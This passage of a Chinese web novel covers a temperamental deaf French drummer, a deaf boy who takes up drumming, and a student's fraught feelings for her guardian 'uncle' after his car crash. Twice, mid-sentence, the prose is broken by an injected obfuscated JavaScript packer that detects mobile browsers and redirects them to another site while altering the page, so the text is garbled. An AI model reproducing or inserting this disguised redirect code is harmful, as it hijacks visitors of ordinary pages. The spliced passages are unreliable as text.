一声“叔叔”,把木晓晞和张欣的魂都快叫没了。 徐敬孚瞧了眼两个女孩儿,又瞧了眼金笑笙,微微扯了下嘴角,抬起手来与他相握:“感谢关心,只是小伤。” 之后他跟孩子比划了一串手语,然后跟众人微一点头:“那你们先忙,我就先走了,孩子交给你们了。” 说着就要离开。 “叔叔!”木晓晞还是没忍住追了上去,“真的没事吗?怎么不再休息一会儿?” “我和陈遇先去吃个饭,晚上会在这里歇。”徐敬孚拍了下她的手臂,“等你忙完。” 等两人离开,大厅一度陷入寂静。 赵玉石不知道发生了什么,金笑笙有些想不明白,张欣被吓得不敢说话,而木晓晞,她已经有些破罐子破摔了。 既然徐敬孚不在这儿了,她也没必要留下,于是便和众人带着小孩儿一起慢慢往乐行走。由于不想和陈徐二人碰上,金笑笙还专门带了一条比较小的路。 一群人心不在焉的,快到乐行的时候,金笑笙忽然问木晓晞:“陈遇……陈秘书就是你男朋友?” 而他刚问完这个话,就看到了正在乐行旁边的小酒馆外面露天摊子上吃饭的徐敬孚和陈遇。 这一片有点偏,人不多,加上天也昏暗了,各种因素加到一起,这句再普通不过的话就变得格外清晰响亮。 陈遇到嘴边的酒都有点喝不进去了。 徐敬孚在他的对面抽着烟,倒像个没事人一样,还好笑地给自己也添了一杯,跟他碰了一下:“怎么说?” 陈遇:“……” 感觉这场面快没救了。 连木晓晞自己也快要绷不住了的时候,乐行里忽然传来一阵法语的叫骂声,接着是几声巨响。 接着就看到路易斯从乐行里冲出来,跑到金笑笙面前骂道:“什么破鼓老子不敲了!明明就是他妈的假货,根本不是我要的东西,当我是个聋子听不出来糊弄我?你找的这是什么混球,我租他的鼓一次花的钱都够买他两个假货了!混账!Tristan你最好给我一个解释!否则明天的演出毁了,你来负这个责任!” 35.第 35 章 (三十五) 经过半小时的掰扯,金笑笙搞清楚了事情的始末。 原来这位乐行的老板的老婆把原来他们订好的那台架子鼓临时外借了,说是外借,其实就是他们女儿的学校有个国庆前学生汇演,由于读的是个很昂贵的私立高中,女儿也有些面子思想,找她爸要了几次这个架子鼓,但都被老板以“已经有人订好”为由,没能带去学校。 前几天老板出了个差,女儿就求到了妈妈的头上,实在不忍心拒绝女儿的母亲最终同意了女儿的请求,用一架同品牌样式差不多的架子鼓替代了原定的款型。 因为这位乐行老板娘是纯粹的外行,根本听不出不同架子鼓有多大的音色区别,以为应该能够蒙混过去,却没想到路易斯虽然耳朵聋了,但是手感还在。 “我是耳朵不好,可手脚俱全。”路易斯嘲讽道,“我这二十八年敲过的鼓,我想应该比你们这辈子见过的样式还要多十倍,蒙我?哈?我是相信tristan说的国内有差不多的货,才没有把我的宝贝儿邮寄过来,来你们乐行租,结果你们在做什么?” 路易斯这个人男女方面是比较随便,可涉及到他的本人专业,他会苛刻得像一个封建领主,傲慢无礼的姿态霎时显现出来,语言极尽尖刻。 “只比原来的鼓便宜三万人民币?是这三万人民币的事吗?”路易斯哈哈一笑,“我选你们的货已经是退而求其次!再往下对我来说都是垃圾!我路易斯敲不了垃圾鼓,也不是敲垃圾的人!” “所以乐行只有这一个鼓了?我是说好的。”金笑笙刚从外面联系完乐行老板回来,脸色也很差,乐行老板一时半会儿没法赶回来,而且对方也不知道鼓被掉包的事,也在那头急得团团转不住道歉,搞得他想发火也发不出去。 木晓晞等人在旁边站着,都不知道该如何是好。 徐敬孚和陈遇不慌不忙地在外面把饭给吃了,本不打算管这件事,但是隔壁吵架得很凶,隐约他好像听到了木晓晞的名字。 Stella。 木晓晞的法语名。 路易斯是个不发火则已,一发起疯来就停不住的角色,他连番把屋里的每个人都炮轰了一通。 骂劝他差不多将就用一用的皮埃尔是个听不出来音色好坏的蠢货,骂说他烂脾气的朱尔斯是个连女人都搞不定的窝囊废有什么资格说他脾气烂,还骂金笑笙,说他:“办个事办得这么烂,脑子都用去你的女人那儿了吧?Stella?人家看都不看你一眼,没想到吧?兄弟的事儿办砸了,女人也不是你的吧?en couple?呵,我猜她已经结婚了,死心吧你!” “路易斯!不要这样对金说话,造成这样的局面不是他的本意!”年纪最大的皮埃尔呵斥道。 “他已经疯了。”朱尔斯“嗤”了声,嘟哝,“一个破鼓而已。” “对不起,这事是我没办好。”金笑笙直直立在那里接受路易斯的怒火,青着脸跟他再一次鞠了个躬,“我会尽量想办法。” “办法?什么办法?是你说的全城只有这一架架子鼓!” “我去找乐行老板,让他现在找人把东西拉回来。” “不要。”路易斯摆手,“我已经不想要了。” 朱尔斯听够了,经验丰富的他已经不会因为路易斯的发疯感到不快了,他很淡然:“别跟他个疯子说了,他现在就是想骂人,你拿什么都不好哄,走吧,回酒店,让他疯好了,别吓着孩子。” 他把门口的小孩儿翻了个身,准备将人推走,但小孩儿却不愿意,滑不溜手一转身就跑了进去。 他们吵架的时候语速非常快,木晓晞在一旁听得不是很明白,但也听了个大概,听到路易斯提到自己的时候,她也是愣了一下,下意识看了眼金笑笙,却见金笑笙不言不语地承受怒火,一遍一遍地与他重复:“我会想办法。” 哪怕几次三番被路易斯推开,他还是会坚定地上前:“路易斯,我很抱歉,但是我会想办法。” “没有用了!”路易斯猛地将金笑笙推得倒退好几步,甚至冲上去抬手要给他一拳。 “学长!”木晓晞不禁往前跑了一步,赵玉石也快速冲了过去。 那一拳没落下来。 徐敬孚捏住路易斯的拳头,用英语问他:“你要的是什么鼓?” “是你找不来的鼓,即便你找得来,我也不要了。”路易斯歪了下头,放下拳头,“我,没心情了,明天演出谁爱演谁演,我不做了。” 说着便要离开。 徐敬孚抬起手臂拦住他,然后问木晓晞:“他说了什么?” 木晓晞连忙小跑过去给他翻译。 听完翻译,徐敬孚说:“看来水平也就那样。” 乐团里有听得懂部分中文的,朱尔斯就是一个,而且徐敬孚说完汉语以后,还对着路易斯重复了一遍同义的英语,朱尔斯一下就笑了起来:“我也觉得他水平一般,有句中国话怎么说来着,我想想……哦……英雄所见略同,我和您的想法一样先生。” 路易斯一把将徐敬孚的领子提起来,对他说蹩脚的法式英语:“你什么都不懂!” 木晓晞连忙上前抓住他的手臂,大声用法语道:“先生!放手!不要这样!” 徐敬孚斜了她一眼,不急不慢地拉开她的手,让她退到一边,接着他拍拍揪着他领子的路易斯的手,笑了起来。 “换个锅就不会做饭的厨子。”徐敬孚对木晓晞说,“把我的话翻译给他听,他现在有两个选择,一,我可以为他在全国范围内立马找一台符合他心理预期的,甚至比他原定的配置更优的顶级架子鼓,保证在他演出之前,一定送到他的手里,二,他就用现有的这个架子鼓。” 木晓晞迟疑了一下。 “翻译。” “……” 木晓晞只好原话翻译了。 徐敬孚又问:“第一句翻译了吗?” 木晓晞抿着嘴,看看金笑笙,金笑笙叹了口气,没说行还是不行,于是她只好硬着头皮把第一句也翻译了。 换个锅就不会做饭的厨子,这句话她是没有做任何处理直译过去的。 而中式嘲讽的优势就在于,即使译过去很生硬,但例子实在是太生动,完全可以叫人一下就明白底层逻辑的相通之处。 只见路易斯另外一拳就要打过去,旁边的几人还来不及上前,木晓晞便瞬间扑过去抱住他的手臂,这一次是真的在吼了,还带了点怒气:“路易斯!” 路易斯一把将木晓晞甩到一边,又冲过来。 徐敬孚轻蔑一笑,一套擒拿手将他按在地上。 “打鼓一般,功夫也一般。”他用英语嘲讽道。 “……” 众人沉默。 木晓晞则脸色很紧绷地握紧了手。 朱尔斯在一旁鼓掌看热闹:“哇哦,中国功夫。” 皮埃尔踹他一脚:“够了!” 处理完路易斯,徐敬孚走过去把已经坐在架子鼓上的小男孩儿拉下来:“走。” 小男孩儿吊着屁股不愿走,另一手握着鼓棒在强音镲上使劲敲着,兴奋地啊啊啊地叫,扯着徐敬孚又去敲其他的鼓,敲得噼里啪啦乱七八糟的。 老板娘站在一边总算哭够了,上前和金笑笙他们说:“我今晚就叫人去女儿学校把东西运回来。” 小孩儿可不管那么多,就是不要走,拿着鼓棒跟发现了新世界一样,兴奋极了,到处乱敲。见拉不走人,徐敬孚也松手了,任他敲,任他打。 大概是听不见也说不来的缘故,孩子一直安静得过分,显得格外内向。 直到一棒敲到鼓上,真面目才露出来了。 “咚咚擦擦咚咚咚咚咚咚哒哒擦擦擦擦擦……” 小孩儿又拿一个鼓棒两手并用地敲起来,时不时还无师自通伸脚踩一下踏板。 他好像一点也不关注在场其他成年人的状态和紧张的氛围,完全地沉浸在自己的世界里,他听不到声音,但他能感受到双手的震动,能感觉到鼓和鼓之间的不同,能发现镲和镲之间的区别。 他一个一个地敲,张着嘴眼睛一眨不眨,全神贯注地体会着手上的感觉。 一下,一下,再一下。 轻轻地,轻轻地,重重地,重重地。 快速地,慢速的。 鼓棒滑过碟,鼓棒滑过鼓面。 他一边试探,似乎一边在回忆着之前木晓晞给他看过的那个视频。他的记忆力很好,几乎过目不忘,而且来的路上也一直在回想那个视频。他回忆着路易斯打碟击鼓时的姿态,神情,手臂动作。 像在模仿别人跳舞一般,他也试着像那样甩动头颅,有节奏地挥舞手臂。 路易斯坐在地上看着,听着,脸上的神情逐渐变得复杂。 “哇哦,真不错,节奏真好。”皮埃尔感叹道,“又要见证一位伟大的听障鼓手诞生了。” “不要用‘又’这个词,显得路易斯好像和他是一个档次,这个小孩儿可是先天性全聋,跟后天半聋的某人还是有很大的差别。”朱尔斯说。 路易斯并没有管他们的嘲讽,慢慢从地上爬起来,慢慢走近小孩儿。 金笑笙的神情也有些复杂,低头笑了一下,深吸了一口气,去把乐行弄乱的东西重新收拾好。 或许连两个队友皮埃尔和朱尔斯都不会明白,为什么路易斯会对鼓的质量这么在意。因为他不是天生的聋子,他和席望不同,他是后来才聋的。 在他没聋之前,在他还没有加入这个摇滚乐团之前,在他十七岁之前,他曾经是拿过世界级架子鼓比赛冠军的人,天才中的天才。 而一场意外的学校实验室爆炸使他失去了大半的听力,也几乎终止了他的架子鼓生涯。 “他坚持要用的那一款架子鼓,那是最接近他平时使用的那一款的手感的,他在这方面很苛刻,因为他……他听过真正的架子鼓声音,我不知道你能不能理解,真品和仿品,对于我们普通人来说或许听不出来什么,但他不一样,他只要听一声,就知道是什么鼓,是用的什么材质……所以我也能理解他。” 金笑笙勉强笑了笑。 “做得再好再像的仿品,终究是仿品,哪怕技术再好,就是敲不出来想要的那个音。” 木晓晞听着这个“真品和仿品”的故事,总觉得有点耳熟。 在哪里听过? 哦,对了。徐叔叔讲过,喝红酒的时候。 但是,这是另一个版本的故事。 “敲的什么鬼,过来。”路易斯走过去,越过徐敬孚坐到座位上,将席望抱到自己腿上握住他的手腕,“听好了,鼓是这样敲的。” 说完,顿了一下,拍了下席望的手。 “用手‘听’。” 说着便握着他的手有节奏地在鼓上敲打起来。 敲了几圈,席望的眼睛越来越亮,几乎要发光,他反复地抬头看路易斯,崇拜之情溢于言表。 路易斯打着打着觉得不过瘾,把他提下去让他站到旁边,然后自己拿着鼓棒敲了起来。 密密麻麻的鼓点疯狂地敲击在鼓面上,他感受着手上的震动,不再只是依靠自己的听力,而是专注于手上脚下以及整个身体内在的感觉。 越敲,他身体里的血液越是沸腾。 席望在旁边屏住呼吸全神贯注地看着,时不时抬头望他,好像看到了什么天神一般,大大地无声地笑着,看到激动之处,还要鼓掌。 也许小小的他什么也听不到,但是他有眼睛,可以看到,有手,可以摸到。 他的世界好像从这一刻开始变得不那么寂静无声,他好像明白了什么是“声音”。那不是只是用耳朵听才能听到的东西,而是心、用身体去感受,就可以感受到的东西。 “他当时也是,失去听力之后,很长一段时间他都不接触架子鼓,堕落了很久,直到后来,他的听力找回来了一些,然后他就开始重新敲,但是听不清楚导致他总是敲错位,进错节奏,于是他就开始用手摸着打。” “他是敲过无数的鼓,但那是在他十七岁之前,那之后,他就只敲一种鼓,也只敲熟了那一个鼓。” 朱尔斯看着屋内敲鼓的人,听着鼓点,犀利地评价道:“不过是胆小鬼一个,又不是没能力,这不敲得挺好?” 皮埃尔则专注地听着,时不时地摆动身体随着鼓点律动。 “但是……”木晓晞有些硬邦邦地,不理解地问金笑笙,“鼓可以仿,但敲鼓的人仿不了呀?为什么会有这个担心呢?” 徐敬孚听到了这个话,转过头去看她,却见金笑笙也愣住了:“什么?” 木晓晞咬了下嘴唇,说:“他的音乐粉丝,爱的是他创作的音乐,他敲出来的鼓,如果没有他,那个鼓就算价值连城放在那里,也不会有人来看呀?” 徐敬孚听完,笑了。 金笑笙:“但是……” 木晓晞打断他:“我知道你是什么意思,你是想说,鼓和鼓之间有不同,每个鼓有自己的音色,这个音色是独特的,无法替代的,对吗?” 金笑笙:“……” 木晓晞看向一曲完毕,慢慢放下鼓棒的路易斯,他已经大汗淋漓,身心痛快。 木晓晞从自己的词汇库里搜了半天,鼓起勇气组织了一句法语:“Ce n''est pas la batterie qui fait le batteur,c''est lui qui rend le son unique,mette la battrie en premier,ce n''est pas perdre l''essentiel pour l’accessoire?”(不是鼓成就了鼓手,而是他让鼓的声音变得独特。把鼓放在第一,难道不是舍本逐末?) 路易斯听到这句有点中式的法语,先是一愣,接着,他慢慢露出了一个笑。 笑越来越大,他干脆笑出了声,痛痛快快地笑了一阵。 徐敬孚见状,摸了摸席望的头,转身和陈遇点了下头,出门去接通了来自警局的电话。 “Merci bcp。”(谢谢)他对众人说了一遍,又专门对着木晓晞说了一遍。 路易斯收起笑来,一把将小孩儿抱了起来,捏了下他的耳朵。 “Merci。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“您这里不用管?”木晓晞音量不自觉地提高了一分,听起来像在“吼”人。 “……” “呼。”木晓晞又开始有点莫名生气了,她勉强忍住,转过身闷头快步往酒店的方向走,把徐敬孚甩在身后。 又是一路无言,直到回到徐敬孚的那个房间门口。 徐敬孚先进去,解了颗领扣松了松,拿了杯子,倒了两杯水。 喝完一杯,回过头,却见木晓晞还在门口站着。 “怎么不进来?”他把给木晓晞倒好的那杯水举了一下,放在桌上,“进来喝杯水。” 木晓晞跟个小木偶人一样,僵硬地站着,一板一眼地说:“去医院吧叔叔。” 徐敬孚靠在桌边:“你先进来喝水。” “喝了水您就去吗?” “……为什么这么固执?” 为什么? 木晓晞低下头,感到自己心里乱糟糟的,就是很不舒服,哪里都不舒服。从下午徐敬孚出了事以后就很不舒服,一直很慌,很烦,总是不自觉地去关注他的头,他的脸,他的嘴巴。 路易斯差点动手的时候,她呼吸都快停了,生怕那一拳会打在徐敬孚已经受了伤的地方。 甚至因此对路易斯产生了愤怒。 那些话,她其实并不是为了安慰路易斯说的,她是嘲讽。想嘲讽他主次不分,舍本逐末,愚蠢糊涂,却没想到歪打正着还倒叫人解开心结了。 “车祸是意外吗?”她问,“我听说警察也来了,如果是普通的车祸,来的不应该只有交警吗?” “……” “我还听到您和警察说,私了,是什么意思?” “聪明都用在这些地方?”徐敬孚不跟她磨叽,走过去干脆地将她拽进了,关上门,把水杯塞给她,“喝完你该干什么干什么去,有些事,我不想和你说,你也不需要知道。” 木晓晞低下头,端着杯子,一口一口把水给喝了,然后放下杯子,跟徐敬孚鞠了个躬。 半晌,干干说了一句:“叔叔晚安。” 说罢就要往外走。 “木晓晞,你到底想说什么?”徐敬孚问。 “……” “……晚安。”他叹了口气,转过身。 “疼不疼?” 徐敬孚掏烟的手一滞。 木晓晞沉默一阵,忽然气势汹汹地转过身绕到他面前,鼻尖发红地面对他,直直地盯着他:“叔叔,您的伤口疼吗?” 徐敬孚:“……” 她有些偏执地问他:“也不是意外吧?” 她红着眼,像是在质问他,也像是在一声一声地质问自己。 “为什么要说不用管呢?这种情况,为什么不用呢?” “席望丢了,您还知道帮他找父母,还知道照顾他,您自己为什么就不用呢?上班有那么重要吗?如果有那么重要,之前您为什么要休假带我去买衣服,去逛街?如果真的赚钱最重要,为什么您知道我被贝尔纳打伤了头会大半夜专门跑来酒店训我?” “这是一件很普通的事情吗?是车祸,就算是意外的车祸,那也不是什么随随便便的小事吧?我不明白,我伤了就要去医院,孩子丢了就该找父母,路易斯没了合适的架子鼓就要到处去找,您出车祸,就什么也不用管?” “从出车祸到现在,您在床上一共待了几分钟?您闲了几分钟?还给我倒水让我喝……” 她像是被气笑了。 觉得很荒谬。 “水有什么好喝的。”她不明白,也不懂。 她更不懂,自己在这里气什么,难受什么,像一个皇帝不急自己急得不得了的太监。 “喝水很重要吗?” 这颗心到底在干什么?跳什么?痛什么?消停点不好吗? 她混乱到想不清楚自己这是在干什么,什么胆子跑来吼一个对她有大恩的长辈?她凭什么呢?她是谁?她有什么资格对徐叔叔用这样的语气说话?疯了真的是。 木晓晞不知道该怎么面对,决定不面对。 她转身就要走掉,门都开了,身后的人问了一句话。 “喝水不重要,那什么重要?” 她猛地停住,整个人像石头一样呆在了原地,瞳孔紧缩。 徐敬孚见她不动了,眉头微微抖了一下,他隐约感到哪里有些不对。 他慢慢思考着什么:“你说这些话,是因为把我当成……” “爸爸!”不等他说出口,她转过身,非常坚定地说,“我是把您当成……和我爸爸一样的长辈。” “……” “我只是像关心自己的家人一样关心您,没有别的意思。” “……” “叔叔晚安。”她郑重地鞠了一躬。 徐敬孚盯着她的头脑勺。 木晓晞弯下腰,使劲地眨了眨眼,在抬起身时垂下眼迅速地转过身。 打开门,出去,关门。 徐敬孚看了眼桌上的空水杯,久久说不出话来。 36.第 36 章 (三十六) 第二天一早,八点的时候,徐敬孚起来时联系了木晓晞,问她在哪。 木晓晞:“叔叔,我在外面,和张欣一起在给大家买早点……您要吃吗?我也给您带一份?” 后面那半句,一听就知道是临时加上去的。 “什么时候回来?”徐敬孚说,“来我房间一趟,我有东西要给你。” “……得一会儿。”木晓晞问,“很急吗叔叔?是什么东西?要是您急着去公司的话,就把东西放在前台,到时候我……” “不急,你过来取吧,徐董送你的礼物,很贵重,不方便放在前台。” “……” “我等你。” 徐敬孚说完这句话,就准备要挂电话,结果那头木晓晞说:“那就先放在叔叔那里吧,或者叔叔拿回家,等我放假回去再看,您说呢?” 徐敬孚还能说什么? 挂了电话,他看了看手边的纸袋子,手指在屏幕手机上摩挲着,垂着眼想着什么。 一连几天,徐敬孚都没有再和木晓晞有任何联系,当然,木晓晞也再没联系过他。 他很忙,也没有精力再去管这些。 如他所预料的那样,车祸事件之后,董事会的人开始有了微妙的变化。 最明显的一个变化是,大家开始对他说话的态度变了不少,一部分变得对他非常不客气,就差拿鼻孔说话;一部分是开始对他有一些调侃,拿他过去刚进入公司时在基层做的事类比现在的一些情况,说他真是能吃苦,和一般的继承人很不同,不像他们自家那些不争气就等着继承家产混吃等死的不孝子;还有一部分开始突然关心他的婚恋情况,问他这个年纪了,是否打算考虑一下个人问题,还给他推荐一些合适人选…… 如果这些事没有发生在会议室里,他或许可以当耳旁风一笑而过。 这么些年,他从来到徐家,从基层一步一步做到现在,什么话没听过,早就对那些闲言碎语免疫了。作为一个突然出现在徐家的外来者,徐家人对他什么态度他很清楚,如果不是徐休看中他有实实在在办事的能力,给了他一些实权,那些人大约并不把他放在眼里,只是作为自认高贵的徐家人,也并不会像普通人家内斗那样把场面搞得太难看太下不来台,和木钧那种暴发户完全不是一个档次。 他有时候也挺感激徐家人的这种虚伪的,至少,当他撕去体面去和他们把话说得难听的时候,那群人一个也不会吭声。 “如果这个会,大家认为没有必要开,其实也可以不开。”他拿着文件笑了笑,“说实话,我辛辛苦苦工作一整天,为在座各位创造的利益是远超我自己实际所得到的,这一点我想已经是公开的秘密了,大家也知道。” 他将文件整理好,夹进夹子里,撑着桌子起身,看着在座的神色各异的人。 “我并不认为这不公平,有些人的命值钱,有些人的命不值钱,有差异,很正常。” “可是对于那个人自己来说,他的命就算贱如草芥,他也是认为值钱的。” 他笑着,从神情上一点儿也看不出不愉快。 “也许这话不中听,刚刚和你们坐在一起的这一会儿,我认为着实有点浪费我的生命了,所以……这个会,等大家有真正想讨论的事的时候再开吧。” 说着,他微微笑着一鞠躬,离开了会议室。 陈遇跟着徐敬孚进了办公室:“徐总,那这个决策……” 徐敬孚抬手:“上报给徐董事吧,交给他。” 陈遇:“……上次您就是这样做的,但是徐董事说,这些小事您自己做决定就可以。” 徐敬孚不急不忙地给自己泡了杯茶:“这是我做不了的决定,让他做吧。” 陈遇:“……” 徐敬孚见他为难的,问他:“他找你谈过话了?” 陈遇犹豫着点了头。 “那你应该知道,他什么意思。”徐敬孚靠在椅背上,“既然他保了你,那你就好好做你的事,我的话你转达给他就是了,多的你也不用管。” “徐总,可能是我的个人角度,我认为徐董事他也许并……” “你也说了是‘也许’。” “……” “陈遇,我之前问你过吧?”徐敬孚看着办公桌上那个怎么提出去又怎么提回来的礼品袋,“我问你,如果你财富自由了你会干什么,你当时当没听见,我现在再问你一遍,你会怎么回答?” 陈遇看着他那张似笑非笑地脸,叹了口气:“回答这个问题前,可能要先定义什么是财富自由。” 徐敬孚点头:“假如说,已经达到了你财富自由的那个标准。” “没有想过,可能因为我现在离那个目标还有点远。” “我其实一直都很不喜欢你这一点,干事也好,说话也好,滴水不漏的。”徐敬孚抽了根雪茄出来,拿火机点上,吸了一口,“很不喜欢。” 他又抽一口,把烟吹了,去书架上抽了本书出来。 “出去吧。” 陈遇沉默了几秒,出去了。 徐敬孚把书放在桌边,抽着烟,笑了,将书随手翻了翻,翻到一页停下。那里头夹着一张照片,是于珍、徐休、木晓晞还有他的合照。 假期在温泉别墅的时候照的。 他把照片拿出来看了会儿,想到徐休昨天给他打电话,像个没事人一样叫他去徐家宅院看于珍。这些有钱人,真是心态好啊。 他将书重新合上,看看礼品袋,再看了眼桌上的手机。 盯着手机又看了好一阵。 他把抽屉拉开,从里头拿出自己之前买的那个没用几天的手机。古城车祸那天,木晓晞给他开房的时候,他看到她的手机屏幕坏了。 摔得不轻,就那也还在用。 他把两个手机摆到一起,不知想到了什么,竟有些出神。 木晓晞的实习,还有几天结束? 他看了下日历,今天周五,从上周日到现在,五天了。 再把手机打开翻出木晓晞的聊天框,聊天记录还停留在五天前她去超市买酒的时候问他家里是哪瓶酒的页面上。 【左边。】 【谢谢叔叔。】 【你们住在哪。】 木晓晞发来语音。 “叔叔,我们住在圣音酒店。” 他听了两遍语音。女孩儿的音色棉花似的,好像连颜色都听得见,白得像张纸。 二十岁,还是什么都懵懂的年纪。以木晓晞的性格,被骗了帮人数钱都是很正常的事,毕竟是个结婚证都敢领,还非要领个真的的人。 他夹着烟又点了一下语音。 “叔叔,我们住在圣音酒店。” “叔叔……” 他把手机关了。 【爸爸!】 【我是把您当成和我爸爸一样的长辈。】 木钧? 他揉了下眉心,拧紧了眉头深吸了一口气。 木晓晞连着几天,手机基本都没拿出过酒店,以手机屏幕坏了触屏用起来不方便为由,在外面必要时候都是用的张欣手机。所幸这份实习工作也用不上太多手机,每天就是陪着几个外国人每天出来演出,演出完了带着人出去到处玩,见什么讲什么,也算是另一种导游。 金笑笙和赵玉石主要负责三人演出、沟通以及费用方面的内容,帮忙干点活,木晓晞和张欣则更多是负责工作后生活方面的讲解和规划,以及一些文化介绍。 演出连续进行三天,今天就是第三天,明后天则是自由活动,玩两天就结束了。 除了第一天因为架子鼓的事有些不顺利,其他时候都蛮顺利的。 那个叫席望的小孩儿这几天天天拖着家里人来看演出,几乎成了路易斯的忠实粉丝,每天从早上来就要黏在他身边一直待到晚上,而他又跟木晓晞比较熟,所以这几天木晓晞也相当于带了个孩子,走哪儿都把他拉着。 “又麻烦你了小木,我和他爸下午下班了再来接他,他爸可能会下班早一些,到时候到了联系你,真的不好意思,这几天真的……”席望的妈妈是个三十来岁的温婉女人,她是个小学教师,上班的地方离古城有一个多小时,这两天几乎都是她跑来接席望,每天到的时候都会接近晚上八点了。 通常这个时候席望都和他们在一起把饭都吃了。 “我心里真的过意不过,你说你们也忙,还帮我带着孩子,我真不知道要怎么感谢你们。”席望妈妈提了个大袋子,神情内疚,“这里是我们家自己种的一些菜,你拿回家去吃啊,我也没什么能送你的。” “不用姐姐,真不用,我和席望在一起玩得也挺开心的,他很懂事很乖。”木晓晞连忙推脱。 但是席望妈妈实在是要给,她最后也还是收下了。 “哦,我忘了,你们都还是学生吧?” “对呀。”木晓晞笑道,“真不是我客气,我们都还住校呢,在学校也没法做了吃。” “那你带回家?你家是在这边住吧?你的那位叔叔呢?送给他也好。”席望妈妈有些不好意思说,“我也很想感谢他,但是那位好像……是个老板,你说,我们条件不好,也送不起什么好的,这些菜都是孩子奶奶在家种的,没有药,他们大老板应该也吃得来吧,没有药的菜吃了还是好。” 听到“叔叔”两个字,木晓晞顿了下,但很快又升起笑容:“好,我拿给他,谢谢姐。” 好说歹说,席望妈妈才去上了班,今早她还是请了假送孩子过来的。 席望一到就跑到乐行里面去了,乐行老板也回来了,出于内疚,让席望在那里玩了好几天。 那个贵的架子鼓还是被拉回来了,只是路易斯最后并没有那个架子鼓演奏,问为什么不用,路易斯说:“好厨子换了锅也得会做饭吧?” 金笑笙感叹:“你叔叔真敢说,这种话我们提都不敢提。” 木晓晞“嗯”了声,没评价。 “你跟陈秘书谈……你叔叔没意见?”金笑笙装作不在意的样子,边布置今天的场地,边问。 一边帮忙的张欣看了眼木晓晞,紧紧抿着嘴,跑到另一边干活去了。 “……”木晓晞不知道该怎么说,感觉一个谎只要撒出来,就会需要无数个谎言去圆。 “他做秘书,能开那么好的车吗?还是说,那是你叔叔的车?”金笑笙将线管安好,等了好一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373677|197175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵没等到回答,开玩笑似的笑道,“或者,他也是个隐藏的富二代?” 木晓晞不想撒谎,但也不想回答,于是问他:“我可以不回答吗?” 金笑笙点头:“你可以。” 木晓晞坐到台阶,仰视他:“谢谢。” 金笑笙微笑着,也坐到她旁边,看着路边来来往往的游客行人:“你现在跟以前不太一样了。” “有什么不一样。” “你以前不太会拒绝别人。” “现在也不太会。” “那你还是拒绝得很利索啊,一次又一次,一点不留情面。”金笑笙开了瓶矿泉水给她,给自己也开了一瓶,喝了口,“你要是以前也是这样就好了。” 木晓晞看他。 却见他脸上像是有点怀念,也有些沉默的样子,很罕见地有了一丝强颜欢笑的味道:“可有时候又觉得,幸好你那时候不坚决。”他扭过头跟她说,“有一些回忆也是好的,我现在觉得,哪怕是回忆,哪怕是不好的回忆,也是有价值的,不该后悔,也没什么好后悔的。” 木晓晞愣愣地看着他。 “你觉得呢?”他问。 “……” 金笑笙说的话,她好像能听懂,可看他的表情,又觉得自己好像听不懂。 那种怀念是什么?就假期那一个月?至于吗? 什么叫“幸好那时候不坚决”?她什么时候对他不坚决过吗?删都删了三次。 “其实你删了我四次。”金笑笙仿佛知道她在想什么,笑了起来,皱了下鼻子,“你肯定记不得了。” 他站起来伸了个懒腰,走到人群走去。路易斯他们和赵玉石逛完街回来了,一会儿就要开始工作了。 “记不得算了。” 木晓晞还在愣神,张欣的声音忽然传来:“晓晞?晓晞在那边。” 木晓晞一下子回过神,立马站起来。 结果刚站起来,就看到张欣引着一个男人走过来,他今天穿着一身比较休闲的浅色毛衫,灰色长裤,像休假在家的装扮。几天没见,也没有任何联系,他好像一点也没有不自然,过来见到她,径直走过来在她旁边的箱子里取了瓶矿泉水拧开。 “路上刚好碰到了他们,听说席望这两天都在这边玩?他人呢?” “在乐行里敲鼓。” “这么喜欢这东西。”徐敬孚往乐行走去,走了几步回头看。 见木晓晞还在原地站着,他招了下手:“一起。” 木晓晞连忙看向张欣他们,金笑笙跟她说:“去呗,忙完了都,你去陪叔叔吧。” 木晓晞这才抿了下嘴,说:“那麻烦你们了。” 然后小跑着跟到了徐敬孚身边去。 徐敬孚见她过来了,等她跟他并排了,这才开始走:“这几天工作怎么样?顺利吗?” 木晓晞点头。 徐敬孚看了她一眼。 木晓晞连忙“嗯”了一声:“顺利,没有什么特别的事,每天就是按部就班……路易斯他们挺好相处的。” “是吗?前几天见的感觉不是这样。” “那天是特殊情况,多亏您帮忙。”说到这里,木晓晞想起席望妈妈送的那包菜,“席望妈妈送了您一包他们自己家种的没打药的菜,让我提给您,说感谢您的帮忙和照顾。” 徐敬孚说:“你可以让你同学拿去,我不怎么在家吃饭,拿回去也是给保姆吃……不然就是你回家去吃。” 木晓晞问:“周末您也工作吗?” 到了乐行门口,两人停下来。 “也可以不上班。”徐敬孚问她,“你不是周末要上班吗?” “……”是要上。 徐敬孚笑了下,没再说,进了乐行。 席望在里头敲得正沉浸,徐敬孚也没有打扰他,在旁边看了一会儿,然后叫来了老板,问他:“有没有给小孩打的?” “有,您是想……” “给他搞一套,你看着配,要好的,你是行家应该识货。”徐敬孚指了下席望,“你这里有授课吗?” “我们乐行没有,是专门卖乐器的,不过我认识有教这个的,您有需要的话我可以帮您联系。”老板客气地介绍,一边笑着说一边打量徐敬孚,“您有点眼熟……您是……” 徐敬孚看了他一眼,没接话,只道:“那就拜托您帮忙找一个好老师,耐心好一点,有爱心,会手语,钱我来付。” 木晓晞在旁边看着,没有参言。 老板也很会来事,连忙叫人带着孩子去试鼓,然后带他们去了后院的茶亭里坐着,亲自给他们上了茶。见徐敬孚并不想和他多说,便很懂礼地把空间让给了他们。 等老板走了以后,后院的茶亭就只剩徐敬孚和木晓晞两人。 